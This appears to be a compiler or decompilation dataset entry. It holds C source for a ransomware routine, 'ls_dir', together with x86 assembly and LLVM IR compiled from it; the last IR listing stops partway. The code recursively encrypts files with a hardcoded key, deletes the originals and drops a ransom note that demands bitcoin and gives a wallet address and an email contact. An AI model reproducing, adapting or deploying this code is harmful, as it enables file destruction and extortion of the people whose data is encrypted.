#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */

/* Type definitions */
struct dirent {
  char *d_name;
  int d_type;
};
typedef int /*<<< orphan*/ FILE;
typedef int /*<<< orphan*/ DIR;

/* Variables and functions */
int /*<<< orphan*/ encryptfile(int /*<<< orphan*/ *, int /*<<< orphan*/ *,
                               unsigned char *, unsigned char *);
int /*<<< orphan*/ fclose(int /*<<< orphan*/ *);
int /*<<< orphan*/ *fopen(char *, char *);
int /*<<< orphan*/ fprintf(int /*<<< orphan*/ *, char *);
int /*<<< orphan*/ free(char *);
scalar_t__ malloc(int);
int /*<<< orphan*/ *opendir(char *);
int /*<<< orphan*/ printf(char *, char *);
struct dirent *readdir(int /*<<< orphan*/ *);
int /*<<< orphan*/ remove(char *);
int /*<<< orphan*/ strcat(char *, char *);
scalar_t__ strcmp(char const *, char *);
int /*<<< orphan*/ strcpy(char *, char *);
int strlen(char *);
void ls_dir(char *start_path) {
  unsigned char key[] = "12345678901234561234567890123456";
  unsigned char iv[] = "1234567890123456";
  DIR *dir;
  struct dirent *ent;
  if ((dir = opendir(start_path)) != NULL) {
    while ((ent = readdir(dir)) != NULL) {
      int len = strlen(ent->d_name);
      const char *last_four = &ent->d_name[len - 4];
      if (strcmp(last_four, ".enc") != 0) {
        if (ent->d_type == 8) {
          char *full_path_readme = (char *)malloc(strlen("RANSOMEWARE_INFO") +
                                                  strlen(start_path) + 2);
          strcpy(full_path_readme, start_path);
          strcat(full_path_readme, "RANSOMEWARE_INFO");
          char *full_path =
              (char *)malloc(strlen(ent->d_name) + strlen(start_path) + 2);
          strcpy(full_path, start_path);
          strcat(full_path, ent->d_name);
          char *new_name =
              (char *)malloc(strlen(full_path) + strlen(".enc") + 1);
          strcpy(new_name, full_path);
          strcat(new_name, ".enc");
          if (strcmp(full_path, "/etc/passwd") != 0 &&
              strcmp(full_path, "/etc/shadow") != 0 &&
              strcmp(full_path, "/etc/sudoers") != 0) {
            FILE *fpin;
            FILE *fpout;
            FILE *fpreadme;
            fpin = fopen(full_path, "rb");
            fpout = fopen(new_name, "wb");
            fpreadme = fopen(full_path_readme, "w");
            fprintf(fpreadme,
                    "You have been PWNED! \n\n Hear me ROAR All files belong "
                    "to me and are in an encrypted state. I have but two "
                    "simple commands.\n\n 1. Tranfer money to my bitcoin "
                    "address \n 2. Email me with your bitcoin address that you "
                    "used to send the money. Then I will email with an "
                    "antidote \n\n Pay me Now! \n My Bitcoin "
                    "Address:Xg7665tgf677hhjhjhhh\n Email:xxxyy@yandex.ru \n");
            fclose(fpreadme);
            encryptfile(fpin, fpout, key, iv);
            fclose(fpin);
            fclose(fpout);
            remove(full_path);
          }
          free(full_path);
          free(new_name);
        } else if (ent->d_type == 4) {
          char *full_path =
              (char *)malloc(strlen(start_path) + strlen(ent->d_name) + 2);
          strcpy(full_path, start_path);
          strcat(full_path, ent->d_name);
          strcat(full_path, "/");
          printf("%s\n", full_path);
          if (full_path != start_path && ent->d_name[0] != '.') {
            ls_dir(full_path);
          }
          free(full_path);
        }
      }
    }
  }
}


x86 assembly (clang, -O0):
<ls_dir>:
push   %rbp
mov    %rsp,%rbp
sub    $0xc0,%rsp
mov    %rdi,-0x8(%rbp)
lea    -0x30(%rbp),%rdi
lea    0xde6(%rip),%rsi
mov    $0x21,%edx
call   10e0 <memcpy@plt>
mov    0xde5(%rip),%rax
mov    %rax,-0x50(%rbp)
mov    0xde2(%rip),%rax
mov    %rax,-0x48(%rbp)
mov    0xde0(%rip),%al
mov    %al,-0x40(%rbp)
mov    -0x8(%rbp),%rdi
call   1090 <opendir@plt>
mov    %rax,-0x58(%rbp)
cmp    $0x0,%rax
je     1595 <ls_dir+0x395>
jmp    125f <ls_dir+0x5f>
mov    -0x58(%rbp),%rdi
call   10f0 <readdir@plt>
mov    %rax,-0x60(%rbp)
cmp    $0x0,%rax
je     1590 <ls_dir+0x390>
mov    -0x60(%rbp),%rax
mov    (%rax),%rdi
call   10a0 <strlen@plt>
mov    %eax,-0x64(%rbp)
mov    -0x60(%rbp),%rax
mov    (%rax),%rax
mov    -0x64(%rbp),%ecx
sub    $0x4,%ecx
movslq %ecx,%rcx
add    %rcx,%rax
mov    %rax,-0x70(%rbp)
mov    -0x70(%rbp),%rdi
lea    0xd7a(%rip),%rsi
call   10c0 <strcmp@plt>
cmp    $0x0,%rax
je     158b <ls_dir+0x38b>
mov    -0x60(%rbp),%rax
cmpl   $0x8,0x8(%rax)
jne    14bc <ls_dir+0x2bc>
lea    0xd5b(%rip),%rdi
call   10a0 <strlen@plt>
mov    %eax,-0xb4(%rbp)
mov    -0x8(%rbp),%rdi
call   10a0 <strlen@plt>
mov    -0xb4(%rbp),%edi
add    %eax,%edi
add    $0x2,%edi
call   1100 <malloc@plt>
mov    %rax,-0x78(%rbp)
mov    -0x78(%rbp),%rdi
mov    -0x8(%rbp),%rsi
call   1060 <strcpy@plt>
mov    -0x78(%rbp),%rdi
lea    0xd1b(%rip),%rsi
call   1120 <strcat@plt>
mov    -0x60(%rbp),%rax
mov    (%rax),%rdi
call   10a0 <strlen@plt>
mov    %eax,-0xb0(%rbp)
mov    -0x8(%rbp),%rdi
call   10a0 <strlen@plt>
mov    -0xb0(%rbp),%edi
add    %eax,%edi
add    $0x2,%edi
call   1100 <malloc@plt>
mov    %rax,-0x80(%rbp)
mov    -0x80(%rbp),%rdi
mov    -0x8(%rbp),%rsi
call   1060 <strcpy@plt>
mov    -0x80(%rbp),%rdi
mov    -0x60(%rbp),%rax
mov    (%rax),%rsi
call   1120 <strcat@plt>
mov    -0x80(%rbp),%rdi
call   10a0 <strlen@plt>
mov    %eax,-0xac(%rbp)
lea    0xcaf(%rip),%rdi
call   10a0 <strlen@plt>
mov    -0xac(%rbp),%edi
add    %eax,%edi
add    $0x1,%edi
call   1100 <malloc@plt>
mov    %rax,-0x88(%rbp)
mov    -0x88(%rbp),%rdi
mov    -0x80(%rbp),%rsi
call   1060 <strcpy@plt>
mov    -0x88(%rbp),%rdi
lea    0xc75(%rip),%rsi
call   1120 <strcat@plt>
mov    -0x80(%rbp),%rdi
lea    0xc7b(%rip),%rsi
call   10c0 <strcmp@plt>
cmp    $0x0,%rax
je     14a2 <ls_dir+0x2a2>
mov    -0x80(%rbp),%rdi
lea    0xc6d(%rip),%rsi
call   10c0 <strcmp@plt>
cmp    $0x0,%rax
je     14a2 <ls_dir+0x2a2>
mov    -0x80(%rbp),%rdi
lea    0xc5f(%rip),%rsi
call   10c0 <strcmp@plt>
cmp    $0x0,%rax
je     14a2 <ls_dir+0x2a2>
mov    -0x80(%rbp),%rdi
lea    0xc52(%rip),%rsi
call   1110 <fopen@plt>
mov    %rax,-0x90(%rbp)
mov    -0x88(%rbp),%rdi
lea    0xc3b(%rip),%rsi
call   1110 <fopen@plt>
mov    %rax,-0x98(%rbp)
mov    -0x78(%rbp),%rdi
lea    0xc12(%rip),%rsi
call   1110 <fopen@plt>
mov    %rax,-0xa0(%rbp)
mov    -0xa0(%rbp),%rdi
lea    0xc0d(%rip),%rsi
call   10d0 <fprintf@plt>
mov    -0xa0(%rbp),%rdi
call   1080 <fclose@plt>
mov    -0x90(%rbp),%rdi
mov    -0x98(%rbp),%rsi
lea    -0x30(%rbp),%rdx
lea    -0x50(%rbp),%rcx
call   1050 <encryptfile@plt>
mov    -0x90(%rbp),%rdi
call   1080 <fclose@plt>
mov    -0x98(%rbp),%rdi
call   1080 <fclose@plt>
mov    -0x80(%rbp),%rdi
call   1040 <remove@plt>
mov    -0x80(%rbp),%rdi
call   1030 <free@plt>
mov    -0x88(%rbp),%rdi
call   1030 <free@plt>
jmp    1586 <ls_dir+0x386>
mov    -0x60(%rbp),%rax
cmpl   $0x4,0x8(%rax)
jne    1581 <ls_dir+0x381>
mov    -0x8(%rbp),%rdi
call   10a0 <strlen@plt>
mov    %eax,-0xb8(%rbp)
mov    -0x60(%rbp),%rax
mov    (%rax),%rdi
call   10a0 <strlen@plt>
mov    -0xb8(%rbp),%edi
add    %eax,%edi
add    $0x2,%edi
call   1100 <malloc@plt>
mov    %rax,-0xa8(%rbp)
mov    -0xa8(%rbp),%rdi
mov    -0x8(%rbp),%rsi
call   1060 <strcpy@plt>
mov    -0xa8(%rbp),%rdi
mov    -0x60(%rbp),%rax
mov    (%rax),%rsi
call   1120 <strcat@plt>
mov    -0xa8(%rbp),%rdi
lea    0xc97(%rip),%rsi
call   1120 <strcat@plt>
mov    -0xa8(%rbp),%rsi
lea    0xc86(%rip),%rdi
call   10b0 <printf@plt>
mov    -0xa8(%rbp),%rax
cmp    -0x8(%rbp),%rax
je     1575 <ls_dir+0x375>
mov    -0x60(%rbp),%rax
mov    (%rax),%rax
movsbl (%rax),%eax
cmp    $0x2e,%eax
je     1575 <ls_dir+0x375>
mov    -0xa8(%rbp),%rdi
call   1070 <ls_dir@plt>
mov    -0xa8(%rbp),%rdi
call   1030 <free@plt>
jmp    1586 <ls_dir+0x386>
jmp    158b <ls_dir+0x38b>
jmp    125f <ls_dir+0x5f>
jmp    1595 <ls_dir+0x395>
add    $0xc0,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<ls_dir>:
push   %rbp
push   %r15
push   %r14
push   %r13
push   %r12
push   %rbx
sub    $0x68,%rsp
movaps 0xe0b(%rip),%xmm0
movaps %xmm0,0x50(%rsp)
movaps 0xdef(%rip),%xmm0
movaps %xmm0,0x40(%rsp)
movb   $0x0,0x60(%rsp)
movaps 0xdee(%rip),%xmm0
movaps %xmm0,0x20(%rsp)
movb   $0x0,0x30(%rsp)
mov    %rdi,0x8(%rsp)
call   1090 <opendir@plt>
test   %rax,%rax
je     14de <ls_dir+0x2ee>
mov    %rax,%r14
mov    %rax,%rdi
call   10d0 <readdir@plt>
test   %rax,%rax
je     14de <ls_dir+0x2ee>
mov    %rax,%r13
lea    0xdc4(%rip),%r15
mov    %r14,0x18(%rsp)
jmp    129c <ls_dir+0xac>
cs nopw 0x0(%rax,%rax,1)
xchg   %ax,%ax
mov    %rbp,%rdi
call   1030 <free@plt>
mov    0x18(%rsp),%r14
mov    %r13,%r15
mov    %r12,%rdi
call   1030 <free@plt>
mov    %r14,%rdi
call   10d0 <readdir@plt>
mov    %rax,%r13
test   %rax,%rax
je     14de <ls_dir+0x2ee>
mov    0x0(%r13),%rdi
call   10a0 <strlen@plt>
mov    0x0(%r13),%rcx
cltq
lea    (%rax,%rcx,1),%rdi
add    $0xfffffffffffffffc,%rdi
mov    %r15,%rsi
call   10c0 <strcmp@plt>
test   %rax,%rax
je     1288 <ls_dir+0x98>
mov    0x8(%r13),%eax
cmp    $0x4,%eax
je     1460 <ls_dir+0x270>
cmp    $0x8,%eax
jne    1288 <ls_dir+0x98>
lea    0xd4d(%rip),%r12
mov    %r12,%rdi
call   10a0 <strlen@plt>
mov    %eax,%ebp
mov    0x8(%rsp),%rbx
mov    %rbx,%rdi
call   10a0 <strlen@plt>
lea    (%rax,%rbp,1),%edi
add    $0x2,%edi
call   10e0 <malloc@plt>
mov    %rax,%r14
mov    %rax,%rdi
mov    %rbx,%rsi
call   1060 <strcpy@plt>
mov    %r14,%rdi
mov    %r12,%rsi
call   1100 <strcat@plt>
mov    0x0(%r13),%rdi
call   10a0 <strlen@plt>
mov    %eax,%ebp
mov    %rbx,%rdi
call   10a0 <strlen@plt>
lea    (%rax,%rbp,1),%edi
add    $0x2,%edi
call   10e0 <malloc@plt>
mov    %rax,%rbp
mov    %rax,%rdi
mov    %rbx,%rsi
call   1060 <strcpy@plt>
mov    0x0(%r13),%rsi
mov    %rbp,%rdi
call   1100 <strcat@plt>
mov    %rbp,%rdi
call   10a0 <strlen@plt>
mov    %eax,%ebx
mov    %r15,%rdi
call   10a0 <strlen@plt>
lea    (%rbx,%rax,1),%edi
add    $0x1,%edi
call   10e0 <malloc@plt>
mov    %rax,%r12
mov    %rax,%rdi
mov    %rbp,%rsi
call   1060 <strcpy@plt>
mov    %r12,%rdi
mov    %r15,%r13
mov    %r15,%rsi
call   1100 <strcat@plt>
mov    %rbp,%rdi
lea    0xca8(%rip),%rsi
call   10c0 <strcmp@plt>
test   %rax,%rax
je     1270 <ls_dir+0x80>
mov    %rbp,%rdi
lea    0xc9c(%rip),%rsi
call   10c0 <strcmp@plt>
test   %rax,%rax
je     1270 <ls_dir+0x80>
mov    %rbp,%rdi
lea    0xc90(%rip),%rsi
call   10c0 <strcmp@plt>
test   %rax,%rax
je     1270 <ls_dir+0x80>
mov    %rbp,%rdi
lea    0xc85(%rip),%rsi
call   10f0 <fopen@plt>
mov    %rax,0x10(%rsp)
mov    %r12,%rdi
lea    0xc74(%rip),%rsi
call   10f0 <fopen@plt>
mov    %rax,%r15
mov    %r14,%rdi
lea    0xc50(%rip),%rsi
call   10f0 <fopen@plt>
mov    %rax,%rbx
mov    $0x161,%esi
mov    $0x1,%edx
lea    0xc4c(%rip),%rdi
mov    %rax,%rcx
call   1110 <fwrite@plt>
mov    %rbx,%rdi
call   1080 <fclose@plt>
mov    0x10(%rsp),%rbx
mov    %rbx,%rdi
mov    %r15,%rsi
lea    0x40(%rsp),%rdx
lea    0x20(%rsp),%rcx
call   1050 <encryptfile@plt>
mov    %rbx,%rdi
call   1080 <fclose@plt>
mov    %r15,%rdi
call   1080 <fclose@plt>
mov    %rbp,%rdi
call   1040 <remove@plt>
jmp    1270 <ls_dir+0x80>
nopl   (%rax)
mov    0x8(%rsp),%rbp
mov    %rbp,%rdi
call   10a0 <strlen@plt>
mov    %eax,%ebx
mov    0x0(%r13),%rdi
call   10a0 <strlen@plt>
lea    (%rbx,%rax,1),%edi
add    $0x2,%edi
call   10e0 <malloc@plt>
mov    %rax,%r12
mov    %rax,%rdi
mov    %rbp,%rsi
call   1060 <strcpy@plt>
mov    0x0(%r13),%rsi
mov    %r12,%rdi
call   1100 <strcat@plt>
mov    %r12,%rdi
lea    0xd1d(%rip),%rsi
call   1100 <strcat@plt>
lea    0xd13(%rip),%rdi
mov    %r12,%rsi
call   10b0 <printf@plt>
cmp    %rbp,%r12
je     1280 <ls_dir+0x90>
mov    0x0(%r13),%rax
cmpb   $0x2e,(%rax)
je     1280 <ls_dir+0x90>
mov    %r12,%rdi
call   1070 <ls_dir@plt>
jmp    1280 <ls_dir+0x90>
add    $0x68,%rsp
pop    %rbx
pop    %r12
pop    %r13
pop    %r14
pop    %r15
pop    %rbp
ret

LLVM IR (-O0):
%struct.dirent = type { i8*, i32 }
@__const.ls_dir.key = [33 x i8] c"12345678901234561234567890123456\00"
@__const.ls_dir.iv = [17 x i8] c"1234567890123456\00"
@.str = [5 x i8] c".enc\00"
@.str.1 = [17 x i8] c"RANSOMEWARE_INFO\00"
@.str.2 = [12 x i8] c"/etc/passwd\00"
@.str.3 = [12 x i8] c"/etc/shadow\00"
@.str.4 = [13 x i8] c"/etc/sudoers\00"
@.str.5 = [3 x i8] c"rb\00"
@.str.6 = [3 x i8] c"wb\00"
@.str.7 = [2 x i8] c"w\00"
@.str.8 = [354 x i8] c"You have been PWNED! \0A\0A Hear me ROAR All files belong to me and are in an encrypted state. I have but two simple commands.\0A\0A 1. Tranfer money to my bitcoin address \0A 2. Email me with your bitcoin address that you used to send the money. Then I will email with an antidote \0A\0A Pay me Now! \0A My Bitcoin Address:Xg7665tgf677hhjhjhhh\0A Email:xxxyy@yandex.ru \0A\00"
@.str.9 = [2 x i8] c"/\00"
@.str.10 = [4 x i8] c"%s\0A\00"
define void @ls_dir(i8* %0) {
%2 = alloca i8*
%3 = alloca [33 x i8]
%4 = alloca [17 x i8]
%5 = alloca i32*
%6 = alloca %struct.dirent*
%7 = alloca i32
%8 = alloca i8*
%9 = alloca i8*
%10 = alloca i8*
%11 = alloca i8*
%12 = alloca i32*
%13 = alloca i32*
%14 = alloca i32*
%15 = alloca i8*
store i8* %0, i8** %2
%16 = bitcast [33 x i8]* %3 to i8*
%17 = bitcast [17 x i8]* %4 to i8*
%18 = load i8*, i8** %2
%19 = call i32* @opendir(i8* %18)
store i32* %19, i32** %5
%20 = icmp ne i32* %19, null
br i1 %20, label %21, label %175
21: ; preds = %1
br label %22
22: ; preds = %173, %21
%23 = load i32*, i32** %5
%24 = call %struct.dirent* @readdir(i32* %23)
store %struct.dirent* %24, %struct.dirent** %6
%25 = icmp ne %struct.dirent* %24, null
br i1 %25, label %26, label %174
26: ; preds = %22
%27 = load %struct.dirent*, %struct.dirent** %6
%28 = getelementptr inbounds %struct.dirent, %struct.dirent* %27, i32 0, i32 0
%29 = load i8*, i8** %28
%30 = call i32 @strlen(i8* %29)
store i32 %30, i32* %7
%31 = load %struct.dirent*, %struct.dirent** %6
%32 = getelementptr inbounds %struct.dirent, %struct.dirent* %31, i32 0, i32 0
%33 = load i8*, i8** %32
%34 = load i32, i32* %7
%35 = sub nsw i32 %34, 4
%36 = sext i32 %35 to i64
%37 = getelementptr inbounds i8, i8* %33, i64 %36
store i8* %37, i8** %8
%38 = load i8*, i8** %8
%39 = call i64 @strcmp(i8* %38, i8* getelementptr inbounds ([5 x i8], [5 x i8]* @.str, i64 0, i64 0))
%40 = icmp ne i64 %39, 0
br i1 %40, label %41, label %173
41: ; preds = %26
%42 = load %struct.dirent*, %struct.dirent** %6
%43 = getelementptr inbounds %struct.dirent, %struct.dirent* %42, i32 0, i32 1
%44 = load i32, i32* %43
%45 = icmp eq i32 %44, 8
br i1 %45, label %46, label %127
46: ; preds = %41
%47 = call i32 @strlen(i8* getelementptr inbounds ([17 x i8], [17 x i8]* @.str.1, i64 0, i64 0))
%48 = load i8*, i8** %2
%49 = call i32 @strlen(i8* %48)
%50 = add nsw i32 %47, %49
%51 = add nsw i32 %50, 2
%52 = call i64 @malloc(i32 %51)
%53 = inttoptr i64 %52 to i8*
store i8* %53, i8** %9
%54 = load i8*, i8** %9
%55 = load i8*, i8** %2
%56 = call i32 @strcpy(i8* %54, i8* %55)
%57 = load i8*, i8** %9
%58 = call i32 @strcat(i8* %57, i8* getelementptr inbounds ([17 x i8], [17 x i8]* @.str.1, i64 0, i64 0))
%59 = load %struct.dirent*, %struct.dirent** %6
%60 = getelementptr inbounds %struct.dirent, %struct.dirent* %59, i32 0, i32 0
%61 = load i8*, i8** %60
%62 = call i32 @strlen(i8* %61)
%63 = load i8*, i8** %2
%64 = call i32 @strlen(i8* %63)
%65 = add nsw i32 %62, %64
%66 = add nsw i32 %65, 2
%67 = call i64 @malloc(i32 %66)
%68 = inttoptr i64 %67 to i8*
store i8* %68, i8** %10
%69 = load i8*, i8** %10
%70 = load i8*, i8** %2
%71 = call i32 @strcpy(i8* %69, i8* %70)
%72 = load i8*, i8** %10
%73 = load %struct.dirent*, %struct.dirent** %6
%74 = getelementptr inbounds %struct.dirent, %struct.dirent* %73, i32 0, i32 0
%75 = load i8*, i8** %74
%76 = call i32 @strcat(i8* %72, i8* %75)
%77 = load i8*, i8** %10
%78 = call i32 @strlen(i8* %77)
%79 = call i32 @strlen(i8* getelementptr inbounds ([5 x i8], [5 x i8]* @.str, i64 0, i64 0))
%80 = add nsw i32 %78, %79
%81 = add nsw i32 %80, 1
%82 = call i64 @malloc(i32 %81)
%83 = inttoptr i64 %82 to i8*
store i8* %83, i8** %11
%84 = load i8*, i8** %11
%85 = load i8*, i8** %10
%86 = call i32 @strcpy(i8* %84, i8* %85)
%87 = load i8*, i8** %11
%88 = call i32 @strcat(i8* %87, i8* getelementptr inbounds ([5 x i8], [5 x i8]* @.str, i64 0, i64 0))
%89 = load i8*, i8** %10
%90 = call i64 @strcmp(i8* %89, i8* getelementptr inbounds ([12 x i8], [12 x i8]* @.str.2, i64 0, i64 0))
%91 = icmp ne i64 %90, 0
br i1 %91, label %92, label %122
92: ; preds = %46
%93 = load i8*, i8** %10
%94 = call i64 @strcmp(i8* %93, i8* getelementptr inbounds ([12 x i8], [12 x i8]* @.str.3, i64 0, i64 0))
%95 = icmp ne i64 %94, 0
br i1 %95, label %96, label %122
96: ; preds = %92
%97 = load i8*, i8** %10
%98 = call i64 @strcmp(i8* %97, i8* getelementptr inbounds ([13 x i8], [13 x i8]* @.str.4, i64 0, i64 0))
%99 = icmp ne i64 %98, 0
br i1 %99, label %100, label %122
100: ; preds = %96
%101 = load i8*, i8** %10
%102 = call i32* @fopen(i8* %101, i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.5, i64 0, i64 0))
store i32* %102, i32** %12
%103 = load i8*, i8** %11
%104 = call i32* @fopen(i8* %103, i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.6, i64 0, i64 0))
store i32* %104, i32** %13
%105 = load i8*, i8** %9
%106 = call i32* @fopen(i8* %105, i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.7, i64 0, i64 0))
store i32* %106, i32** %14
%107 = load i32*, i32** %14
%108 = call i32 @fprintf(i32* %107, i8* getelementptr inbounds ([354 x i8], [354 x i8]* @.str.8, i64 0, i64 0))
%109 = load i32*, i32** %14
%110 = call i32 @fclose(i32* %109)
%111 = load i32*, i32** %12
%112 = load i32*, i32** %13
%113 = getelementptr inbounds [33 x i8], [33 x i8]* %3, i64 0, i64 0
%114 = getelementptr inbounds [17 x i8], [17 x i8]* %4, i64 0, i64 0
%115 = call i32 @encryptfile(i32* %111, i32* %112, i8* %113, i8* %114)
%116 = load i32*, i32** %12
%117 = call i32 @fclose(i32* %116)
%118 = load i32*, i32** %13
%119 = call i32 @fclose(i32* %118)
%120 = load i8*, i8** %10
%121 = call i32 @remove(i8* %120)
br label %122
122: ; preds = %100, %96, %92, %46
%123 = load i8*, i8** %10
%124 = call i32 @free(i8* %123)
%125 = load i8*, i8** %11
%126 = call i32 @free(i8* %125)
br label %172
127: ; preds = %41
%128 = load %struct.dirent*, %struct.dirent** %6
%129 = getelementptr inbounds %struct.dirent, %struct.dirent* %128, i32 0, i32 1
%130 = load i32, i32* %129
%131 = icmp eq i32 %130, 4
br i1 %131, label %132, label %171
132: ; preds = %127
%133 = load i8*, i8** %2
%134 = call i32 @strlen(i8* %133)
%135 = load %struct.dirent*, %struct.dirent** %6
%136 = getelementptr inbounds %struct.dirent, %struct.dirent* %135, i32 0, i32 0
%137 = load i8*, i8** %136
%138 = call i32 @strlen(i8* %137)
%139 = add nsw i32 %134, %138
%140 = add nsw i32 %139, 2
%141 = call i64 @malloc(i32 %140)
%142 = inttoptr i64 %141 to i8*
store i8* %142, i8** %15
%143 = load i8*, i8** %15
%144 = load i8*, i8** %2
%145 = call i32 @strcpy(i8* %143, i8* %144)
%146 = load i8*, i8** %15
%147 = load %struct.dirent*, %struct.dirent** %6
%148 = getelementptr inbounds %struct.dirent, %struct.dirent* %147, i32 0, i32 0
%149 = load i8*, i8** %148
%150 = call i32 @strcat(i8* %146, i8* %149)
%151 = load i8*, i8** %15
%152 = call i32 @strcat(i8* %151, i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.9, i64 0, i64 0))
%153 = load i8*, i8** %15
%154 = call i32 @printf(i8* getelementptr inbounds ([4 x i8], [4 x i8]* @.str.10, i64 0, i64 0), i8* %153)
%155 = load i8*, i8** %15
%156 = load i8*, i8** %2
%157 = icmp ne i8* %155, %156
br i1 %157, label %158, label %168
158: ; preds = %132
%159 = load %struct.dirent*, %struct.dirent** %6
%160 = getelementptr inbounds %struct.dirent, %struct.dirent* %159, i32 0, i32 0
%161 = load i8*, i8** %160
%162 = getelementptr inbounds i8, i8* %161, i64 0
%163 = load i8, i8* %162
%164 = sext i8 %163 to i32
%165 = icmp ne i32 %164, 46
br i1 %165, label %166, label %168
166: ; preds = %158
%167 = load i8*, i8** %15
br label %168
168: ; preds = %166, %158, %132
%169 = load i8*, i8** %15
%170 = call i32 @free(i8* %169)
br label %171
171: ; preds = %168, %127
br label %172
172: ; preds = %171, %122
br label %173
173: ; preds = %172, %26
br label %22
174: ; preds = %22
br label %175
175: ; preds = %174, %1
ret void
}

LLVM IR (-O2):
%struct.dirent = type { i8*, i32 }
@__const.ls_dir.key = [33 x i8] c"12345678901234561234567890123456\00"
@__const.ls_dir.iv = [17 x i8] c"1234567890123456\00"
@.str = [5 x i8] c".enc\00"
@.str.1 = [17 x i8] c"RANSOMEWARE_INFO\00"
@.str.2 = [12 x i8] c"/etc/passwd\00"
@.str.3 = [12 x i8] c"/etc/shadow\00"
@.str.4 = [13 x i8] c"/etc/sudoers\00"
@.str.5 = [3 x i8] c"rb\00"
@.str.6 = [3 x i8] c"wb\00"
@.str.7 = [2 x i8] c"w\00"
@.str.8 = [354 x i8] c"You have been PWNED! \0A\0A Hear me ROAR All files belong to me and are in an encrypted state. I have but two simple commands.\0A\0A 1. Tranfer money to my bitcoin address \0A 2. Email me with your bitcoin address that you used to send the money. Then I will email with an antidote \0A\0A Pay me Now! \0A My Bitcoin Address:Xg7665tgf677hhjhjhhh\0A Email:xxxyy@yandex.ru \0A\00"
@.str.9 = [2 x i8] c"/\00"
@.str.10 = [4 x i8] c"%s\0A\00"
define void @ls_dir(i8* %0) {
%2 = alloca [33 x i8]
%3 = alloca [17 x i8]
%4 = getelementptr inbounds [33 x i8], [33 x i8]* %2, i64 0, i64 0
%5 = getelementptr inbounds [17 x i8], [17 x i8]* %3, i64 0, i64 0
%6 = tail call i32* @opendir(i8* %0)
%7 = icmp eq i32* %6, null
br i1 %7, label %97, label %8
8: ; preds = %1
%9 = call %struct.dirent* @readdir(i32* %6)
%10 = icmp eq %struct.dirent* %9, null
br i1 %10, label %97, label %11
11: ; preds = %8, %94
%12 = phi %struct.dirent* [ %95, %94 ], [ %9, %8 ]
%13 = getelementptr inbounds %struct.dirent, %struct.dirent* %12, i64 0, i32 0
%14 = load i8*, i8** %13
%15 = call i32 @strlen(i8* %14)
%16 = load i8*, i8** %13
%17 = add nsw i32 %15, -4
%18 = sext i32 %17 to i64
%19 = getelementptr inbounds i8, i8* %16, i64 %18
%20 = call i64 @strcmp(i8* %19, i8* getelementptr inbounds ([5 x i8], [5 x i8]* @.str, i64 0, i64 0))
%21 = icmp eq i64 %20, 0
br i1 %21, label %94, label %22
22: ; preds = %11
%23 = getelementptr inbounds %struct.dirent, %struct.dirent* %12, i64 0, i32 1
%24 = load i32, i32* %23
switch i32 %24, label %94 [
i32 8, label %25
i32 4, label %72
]
25: ; preds = %22
%26 = call i32 @strlen(i8* getelementptr inbounds ([17 x i8], [17 x i8]* @.str.1, i64 0, i64 0))
%27 = call i32 @strlen(i8* %0)
%28 = add i32 %26, 2
%29 = add i32 %28, %27
%30 = call i64 @malloc(i32 %29)
%31 = inttoptr i64 %30 to i8*
%32 = call i32 @strcpy(i8* %31, i8* %0)
%33 = call i32 @strcat(i8* %31, i8* getelementptr inbounds ([17 x i8], [17 x i8]* @.str.1, i64 0, i64 0))
%34 = load i8*, i8** %13
%35 = call i32 @strlen(i8* %34)
%36 = call i32 @strlen(i8* %0)
%37 = add i32 %35, 2
%38 = add i32 %37, %36
%39 = call i64 @malloc(i32 %38)
%40 = inttoptr i64 %39 to i8*
%41 = call i32 @strcpy(i8* %40, i8* %0)
%42 = load i8*, i8** %13
%43 = call i32 @strcat(i8* %40, i8* %42)
%44 = call i32 @strlen(i8* %40)
%45 = call i32 @strlen(i8* getelementptr inbounds ([5 x i8], [5 x i8]* @.str, i64 0, i64 0))
%46 = add i32 %44, 1
%47 = add i32 %46, %45
%48 = call i64 @malloc(i32 %47)
%49 = inttoptr i64 %48 to i8*
%50 = call i32 @strcpy(i8* %49, i8* %40)
%51 = call i32 @strcat(i8* %49, i8* getelementptr inbounds ([5 x i8], [5 x i8]* @.str, i64 0, i64 0))
%52 = call i64 @strcmp(i8* %40, i8* getelementptr inbounds ([12 x i8], [12 x i8]* @.str.2, i64 0, i64 0))
%53 = icmp eq i64 %52, 0
br i1 %53, label %70, label %54
54: ; preds = %25
%55 = call i64 @strcmp(i8* %40, i8* getelementptr inbounds ([12 x i8], [12 x i8]* @.str.3, i64 0, i64 0))
%56 = icmp eq i64 %55, 0
br i1 %56, label %70, label %57
57: ; preds = %54
%58 = call i64 @strcmp(i8* %40, i8* getelementptr inbounds ([13 x i8], [13 x i8]* @.str.4, i64 0, i64 0))
%59 = icmp eq i64 %58, 0
br i1 %59, label %70, label %60
60: ; preds = %57
%61 = call i32* @fopen(i8* %40, i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.5, i64 0, i64 0))
%62 = call i32* @fopen(i8* %49, i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.6, i64 0, i64 0))
%63 = call i32* @fopen(i8* %31, i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.7, i64 0, i64 0))
%64 = call i64 @fwrite(i8* getelementptr inbounds ([354 x i8], [354 x i8]* @.str.8, i64 0, i64 0), i64 353, i64 1, i32* %63)
%65 = call i32 @fclose(i32* %63)
%66 = call i32 @encryptfile(i32* %61, i32* %62, i8* %4, i8* %5)
%67 = call i32 @fclose(i32* %61)
%68 = call i32 @fclose(i32* %62)
%69 = call i32 @remove(i8* %40)
br label %70
70: ; preds = %60, %57, %54, %25
%71 = call i32 @free(i8* %40)
br label %91
72: ; preds = %22
%73 = call i32 @strlen(i8* %0)
%74 = load i8*, i8** %13
%75 = call i32 @strlen(i8* %74)
%76 = add i32 %73, 2
%77 = add i32 %76, %75
%78 = call i64 @malloc(i32 %77)
%79 = inttoptr i64 %78 to i8*
%80 = call i32 @strcpy(i8* %79, i8* %0)
%81 = load i8*, i8** %13
%82 = call i32 @strcat(i8* %79, i8* %81)
